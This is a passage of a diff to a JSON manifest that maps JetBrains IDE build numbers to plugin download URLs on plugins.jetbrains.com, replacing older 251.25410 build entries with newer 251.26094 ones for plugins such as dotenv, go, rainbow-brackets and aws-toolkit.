+        "251.25410.170": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip"
       },
       "name": "gherkin"
     },
@@ -723,16 +723,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/9525/603167/idea-php-dotenv-plugin-2024.3.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/9525/711041/dotenv-251.23774.318.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/9525/711041/dotenv-251.23774.318.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/9525/711041/dotenv-251.23774.318.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/9525/711041/dotenv-251.23774.318.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/9525/711041/dotenv-251.23774.318.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/9525/711041/dotenv-251.23774.318.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/9525/711041/dotenv-251.23774.318.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/9525/711041/dotenv-251.23774.318.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/9525/711041/dotenv-251.23774.318.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/9525/711041/dotenv-251.23774.318.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/9525/711041/dotenv-251.23774.318.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/9525/711041/dotenv-251.23774.318.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/9525/711041/dotenv-251.23774.318.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/9525/711041/dotenv-251.23774.318.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/9525/711041/dotenv-251.23774.318.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/9525/711041/dotenv-251.23774.318.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/9525/711041/dotenv-251.23774.318.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/9525/711041/dotenv-251.23774.318.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/9525/711041/dotenv-251.23774.318.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/9525/711041/dotenv-251.23774.318.zip"
       },
       "name": "-env-files"
     },
@@ -742,8 +742,8 @@
         "idea-ultimate"
       ],
       "builds": {
-        "251.25410.129": "https://plugins.jetbrains.com/files/9568/728728/go-plugin-251.25410.59.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/9568/728728/go-plugin-251.25410.59.zip"
+        "251.26094.121": "https://plugins.jetbrains.com/files/9568/766540/go-plugin-251.26094.121.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/9568/766540/go-plugin-251.26094.121.zip"
       },
       "name": "go"
     },
@@ -765,16 +765,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/9707/702582/ANSI_Highlighter_Premium-24.3.4.jar",
         "251.23774.423": "https://plugins.jetbrains.com/files/9707/702581/ANSI_Highlighter_Premium-25.1.5.jar",
-        "251.25410.104": "https://plugins.jetbrains.com/files/9707/702581/ANSI_Highlighter_Premium-25.1.5.jar",
-        "251.25410.115": "https://plugins.jetbrains.com/files/9707/702581/ANSI_Highlighter_Premium-25.1.5.jar",
-        "251.25410.117": "https://plugins.jetbrains.com/files/9707/702581/ANSI_Highlighter_Premium-25.1.5.jar",
         "251.25410.119": "https://plugins.jetbrains.com/files/9707/702581/ANSI_Highlighter_Premium-25.1.5.jar",
-        "251.25410.120": "https://plugins.jetbrains.com/files/9707/702581/ANSI_Highlighter_Premium-25.1.5.jar",
-        "251.25410.122": "https://plugins.jetbrains.com/files/9707/702581/ANSI_Highlighter_Premium-25.1.5.jar",
-        "251.25410.123": "https://plugins.jetbrains.com/files/9707/702581/ANSI_Highlighter_Premium-25.1.5.jar",
-        "251.25410.129": "https://plugins.jetbrains.com/files/9707/702581/ANSI_Highlighter_Premium-25.1.5.jar",
-        "251.25410.140": "https://plugins.jetbrains.com/files/9707/702581/ANSI_Highlighter_Premium-25.1.5.jar",
-        "251.25410.148": "https://plugins.jetbrains.com/files/9707/702581/ANSI_Highlighter_Premium-25.1.5.jar"
+        "251.25410.170": "https://plugins.jetbrains.com/files/9707/702581/ANSI_Highlighter_Premium-25.1.5.jar",
+        "251.26094.121": "https://plugins.jetbrains.com/files/9707/702581/ANSI_Highlighter_Premium-25.1.5.jar",
+        "251.26094.122": "https://plugins.jetbrains.com/files/9707/702581/ANSI_Highlighter_Premium-25.1.5.jar",
+        "251.26094.123": "https://plugins.jetbrains.com/files/9707/702581/ANSI_Highlighter_Premium-25.1.5.jar",
+        "251.26094.127": "https://plugins.jetbrains.com/files/9707/702581/ANSI_Highlighter_Premium-25.1.5.jar",
+        "251.26094.131": "https://plugins.jetbrains.com/files/9707/702581/ANSI_Highlighter_Premium-25.1.5.jar",
+        "251.26094.133": "https://plugins.jetbrains.com/files/9707/702581/ANSI_Highlighter_Premium-25.1.5.jar",
+        "251.26094.141": "https://plugins.jetbrains.com/files/9707/702581/ANSI_Highlighter_Premium-25.1.5.jar",
+        "251.26094.87": "https://plugins.jetbrains.com/files/9707/702581/ANSI_Highlighter_Premium-25.1.5.jar"
       },
       "name": "ansi-highlighter-premium"
     },
@@ -796,16 +796,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/9792/633158/Key_Promoter_X-2024.2.2.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/9792/633158/Key_Promoter_X-2024.2.2.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/9792/633158/Key_Promoter_X-2024.2.2.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/9792/633158/Key_Promoter_X-2024.2.2.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/9792/633158/Key_Promoter_X-2024.2.2.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/9792/633158/Key_Promoter_X-2024.2.2.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/9792/633158/Key_Promoter_X-2024.2.2.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/9792/633158/Key_Promoter_X-2024.2.2.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/9792/633158/Key_Promoter_X-2024.2.2.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/9792/633158/Key_Promoter_X-2024.2.2.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/9792/633158/Key_Promoter_X-2024.2.2.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/9792/633158/Key_Promoter_X-2024.2.2.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/9792/633158/Key_Promoter_X-2024.2.2.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/9792/633158/Key_Promoter_X-2024.2.2.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/9792/633158/Key_Promoter_X-2024.2.2.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/9792/633158/Key_Promoter_X-2024.2.2.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/9792/633158/Key_Promoter_X-2024.2.2.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/9792/633158/Key_Promoter_X-2024.2.2.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/9792/633158/Key_Promoter_X-2024.2.2.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/9792/633158/Key_Promoter_X-2024.2.2.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/9792/633158/Key_Promoter_X-2024.2.2.zip"
       },
       "name": "key-promoter-x"
     },
@@ -827,16 +827,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/9836/681714/intellij-randomness-3.3.6-signed.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/9836/681714/intellij-randomness-3.3.6-signed.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/9836/681714/intellij-randomness-3.3.6-signed.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/9836/681714/intellij-randomness-3.3.6-signed.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/9836/681714/intellij-randomness-3.3.6-signed.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/9836/681714/intellij-randomness-3.3.6-signed.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/9836/681714/intellij-randomness-3.3.6-signed.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/9836/681714/intellij-randomness-3.3.6-signed.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/9836/681714/intellij-randomness-3.3.6-signed.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/9836/681714/intellij-randomness-3.3.6-signed.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/9836/681714/intellij-randomness-3.3.6-signed.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/9836/681714/intellij-randomness-3.3.6-signed.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/9836/681714/intellij-randomness-3.3.6-signed.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/9836/681714/intellij-randomness-3.3.6-signed.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/9836/681714/intellij-randomness-3.3.6-signed.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/9836/681714/intellij-randomness-3.3.6-signed.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/9836/681714/intellij-randomness-3.3.6-signed.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/9836/681714/intellij-randomness-3.3.6-signed.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/9836/681714/intellij-randomness-3.3.6-signed.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/9836/681714/intellij-randomness-3.3.6-signed.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/9836/681714/intellij-randomness-3.3.6-signed.zip"
       },
       "name": "randomness"
     },
@@ -858,16 +858,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/10037/658496/intellij-csv-validator-4.0.2.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/10037/658496/intellij-csv-validator-4.0.2.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/10037/658496/intellij-csv-validator-4.0.2.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/10037/658496/intellij-csv-validator-4.0.2.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/10037/658496/intellij-csv-validator-4.0.2.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/10037/658496/intellij-csv-validator-4.0.2.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/10037/658496/intellij-csv-validator-4.0.2.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/10037/658496/intellij-csv-validator-4.0.2.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/10037/658496/intellij-csv-validator-4.0.2.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/10037/658496/intellij-csv-validator-4.0.2.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/10037/658496/intellij-csv-validator-4.0.2.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/10037/658496/intellij-csv-validator-4.0.2.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/10037/658496/intellij-csv-validator-4.0.2.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/10037/658496/intellij-csv-validator-4.0.2.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/10037/658496/intellij-csv-validator-4.0.2.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/10037/658496/intellij-csv-validator-4.0.2.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/10037/658496/intellij-csv-validator-4.0.2.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/10037/658496/intellij-csv-validator-4.0.2.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/10037/658496/intellij-csv-validator-4.0.2.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/10037/658496/intellij-csv-validator-4.0.2.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/10037/658496/intellij-csv-validator-4.0.2.zip"
       },
       "name": "csv-editor"
     },
@@ -889,16 +889,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/10080/739688/intellij-rainbow-brackets-2024.2.11-241.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/10080/739688/intellij-rainbow-brackets-2024.2.11-241.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/10080/739688/intellij-rainbow-brackets-2024.2.11-241.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/10080/739688/intellij-rainbow-brackets-2024.2.11-241.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/10080/739688/intellij-rainbow-brackets-2024.2.11-241.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/10080/739688/intellij-rainbow-brackets-2024.2.11-241.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/10080/739688/intellij-rainbow-brackets-2024.2.11-241.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/10080/739688/intellij-rainbow-brackets-2024.2.11-241.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/10080/739688/intellij-rainbow-brackets-2024.2.11-241.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/10080/739688/intellij-rainbow-brackets-2024.2.11-241.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/10080/739688/intellij-rainbow-brackets-2024.2.11-241.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/10080/739688/intellij-rainbow-brackets-2024.2.11-241.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/10080/739688/intellij-rainbow-brackets-2024.2.11-241.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/10080/739688/intellij-rainbow-brackets-2024.2.11-241.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/10080/739688/intellij-rainbow-brackets-2024.2.11-241.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/10080/739688/intellij-rainbow-brackets-2024.2.11-241.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/10080/739688/intellij-rainbow-brackets-2024.2.11-241.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/10080/739688/intellij-rainbow-brackets-2024.2.11-241.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/10080/739688/intellij-rainbow-brackets-2024.2.11-241.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/10080/739688/intellij-rainbow-brackets-2024.2.11-241.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/10080/739688/intellij-rainbow-brackets-2024.2.11-241.zip"
       },
       "name": "rainbow-brackets"
     },
@@ -920,16 +920,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/10312/581013/dotplugin-1.5.4.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/10312/581013/dotplugin-1.5.4.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/10312/581013/dotplugin-1.5.4.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/10312/581013/dotplugin-1.5.4.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/10312/581013/dotplugin-1.5.4.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/10312/581013/dotplugin-1.5.4.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/10312/581013/dotplugin-1.5.4.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/10312/581013/dotplugin-1.5.4.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/10312/581013/dotplugin-1.5.4.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/10312/581013/dotplugin-1.5.4.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/10312/581013/dotplugin-1.5.4.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/10312/581013/dotplugin-1.5.4.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/10312/581013/dotplugin-1.5.4.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/10312/581013/dotplugin-1.5.4.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/10312/581013/dotplugin-1.5.4.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/10312/581013/dotplugin-1.5.4.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/10312/581013/dotplugin-1.5.4.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/10312/581013/dotplugin-1.5.4.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/10312/581013/dotplugin-1.5.4.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/10312/581013/dotplugin-1.5.4.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/10312/581013/dotplugin-1.5.4.zip"
       },
       "name": "dot-language"
     },
@@ -951,16 +951,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/10481/583591/intellij-hocon-2024.2.0.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/10481/671222/intellij-hocon-2025.1.0.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/10481/671222/intellij-hocon-2025.1.0.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/10481/671222/intellij-hocon-2025.1.0.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/10481/671222/intellij-hocon-2025.1.0.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/10481/671222/intellij-hocon-2025.1.0.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/10481/671222/intellij-hocon-2025.1.0.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/10481/671222/intellij-hocon-2025.1.0.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/10481/671222/intellij-hocon-2025.1.0.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/10481/671222/intellij-hocon-2025.1.0.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/10481/671222/intellij-hocon-2025.1.0.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/10481/671222/intellij-hocon-2025.1.0.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/10481/671222/intellij-hocon-2025.1.0.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/10481/671222/intellij-hocon-2025.1.0.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/10481/671222/intellij-hocon-2025.1.0.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/10481/671222/intellij-hocon-2025.1.0.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/10481/671222/intellij-hocon-2025.1.0.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/10481/671222/intellij-hocon-2025.1.0.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/10481/671222/intellij-hocon-2025.1.0.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/10481/671222/intellij-hocon-2025.1.0.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/10481/671222/intellij-hocon-2025.1.0.zip"
       },
       "name": "hocon"
     },
@@ -981,15 +981,15 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/10581/629973/go-template-243.21565.122.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/10581/711019/go-template-251.23774.318.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/10581/711019/go-template-251.23774.318.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/10581/711019/go-template-251.23774.318.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/10581/711019/go-template-251.23774.318.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/10581/711019/go-template-251.23774.318.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/10581/711019/go-template-251.23774.318.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/10581/711019/go-template-251.23774.318.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/10581/711019/go-template-251.23774.318.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/10581/711019/go-template-251.23774.318.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/10581/711019/go-template-251.23774.318.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/10581/711019/go-template-251.23774.318.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/10581/711019/go-template-251.23774.318.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/10581/711019/go-template-251.23774.318.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/10581/711019/go-template-251.23774.318.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/10581/711019/go-template-251.23774.318.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/10581/711019/go-template-251.23774.318.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/10581/711019/go-template-251.23774.318.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/10581/711019/go-template-251.23774.318.zip"
       },
       "name": "go-template"
     },
@@ -1011,16 +1011,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/11058/734948/Extra_Icons-2025.1.5.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/11058/734948/Extra_Icons-2025.1.5.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/11058/734948/Extra_Icons-2025.1.5.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/11058/734948/Extra_Icons-2025.1.5.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/11058/734948/Extra_Icons-2025.1.5.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/11058/734948/Extra_Icons-2025.1.5.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/11058/734948/Extra_Icons-2025.1.5.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/11058/734948/Extra_Icons-2025.1.5.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/11058/734948/Extra_Icons-2025.1.5.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/11058/734948/Extra_Icons-2025.1.5.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/11058/734948/Extra_Icons-2025.1.5.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/11058/734948/Extra_Icons-2025.1.5.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/11058/734948/Extra_Icons-2025.1.5.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/11058/734948/Extra_Icons-2025.1.5.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/11058/734948/Extra_Icons-2025.1.5.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/11058/734948/Extra_Icons-2025.1.5.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/11058/734948/Extra_Icons-2025.1.5.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/11058/734948/Extra_Icons-2025.1.5.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/11058/734948/Extra_Icons-2025.1.5.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/11058/734948/Extra_Icons-2025.1.5.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/11058/734948/Extra_Icons-2025.1.5.zip"
       },
       "name": "extra-icons"
     },
@@ -1040,18 +1040,18 @@
         "webstorm"
       ],
       "builds": {
-        "243.22562.218": "https://plugins.jetbrains.com/files/11349/743145/aws-toolkit-jetbrains-standalone-3.71-243.zip",
-        "251.23774.423": "https://plugins.jetbrains.com/files/11349/743148/aws-toolkit-jetbrains-standalone-3.71-251.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/11349/743148/aws-toolkit-jetbrains-standalone-3.71-251.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/11349/743148/aws-toolkit-jetbrains-standalone-3.71-251.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/11349/743148/aws-toolkit-jetbrains-standalone-3.71-251.zip",
-        "251.25410.119": "https://plugins.jetbrains.com/files/11349/743148/aws-toolkit-jetbrains-standalone-3.71-251.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/11349/743148/aws-toolkit-jetbrains-standalone-3.71-251.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/11349/743148/aws-toolkit-jetbrains-standalone-3.71-251.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/11349/743148/aws-toolkit-jetbrains-standalone-3.71-251.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/11349/743148/aws-toolkit-jetbrains-standalone-3.71-251.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/11349/743148/aws-toolkit-jetbrains-standalone-3.71-251.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/11349/743148/aws-toolkit-jetbrains-standalone-3.71-251.zip"
+        "243.22562.218": "https://plugins.jetbrains.com/files/11349/768106/aws-toolkit-jetbrains-standalone-3.74.243.zip",
+        "251.23774.423": "https://plugins.jetbrains.com/files/11349/768108/aws-toolkit-jetbrains-standalone-3.74.251.zip",
+        "251.25410.119": "https://plugins.jetbrains.com/files/11349/768108/aws-toolkit-jetbrains-standalone-3.74.251.zip",
+        "251.25410.170": "https://plugins.jetbrains.com/files/11349/768108/aws-toolkit-jetbrains-standalone-3.74.251.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/11349/768108/aws-toolkit-jetbrains-standalone-3.74.251.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/11349/768108/aws-toolkit-jetbrains-standalone-3.74.251.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/11349/768108/aws-toolkit-jetbrains-standalone-3.74.251.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/11349/768108/aws-toolkit-jetbrains-standalone-3.74.251.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/11349/768108/aws-toolkit-jetbrains-standalone-3.74.251.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/11349/768108/aws-toolkit-jetbrains-standalone-3.74.251.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/11349/768108/aws-toolkit-jetbrains-standalone-3.74.251.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/11349/768108/aws-toolkit-jetbrains-standalone-3.74.251.zip"
       },
       "name": "aws-toolkit"
     },
@@ -1082,16 +1082,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/12062/630060/keymap-vscode-243.21565.122.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/12062/711097/keymap-vscode-251.23774.318.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/12062/711097/keymap-vscode-251.23774.318.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/12062/711097/keymap-vscode-251.23774.318.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/12062/711097/keymap-vscode-251.23774.318.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/12062/711097/keymap-vscode-251.23774.318.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/12062/711097/keymap-vscode-251.23774.318.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/12062/711097/keymap-vscode-251.23774.318.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/12062/711097/keymap-vscode-251.23774.318.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/12062/711097/keymap-vscode-251.23774.318.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/12062/711097/keymap-vscode-251.23774.318.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/12062/711097/keymap-vscode-251.23774.318.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/12062/711097/keymap-vscode-251.23774.318.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/12062/711097/keymap-vscode-251.23774.318.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/12062/711097/keymap-vscode-251.23774.318.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/12062/711097/keymap-vscode-251.23774.318.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/12062/711097/keymap-vscode-251.23774.318.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/12062/711097/keymap-vscode-251.23774.318.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/12062/711097/keymap-vscode-251.23774.318.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/12062/711097/keymap-vscode-251.23774.318.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/12062/711097/keymap-vscode-251.23774.318.zip"
       },
       "name": "vscode-keymap"
     },
@@ -1113,16 +1113,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/12559/629985/keymap-eclipse-243.21565.122.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/12559/711714/keymap-eclipse-251.23774.329.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/12559/711714/keymap-eclipse-251.23774.329.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/12559/711714/keymap-eclipse-251.23774.329.zip",
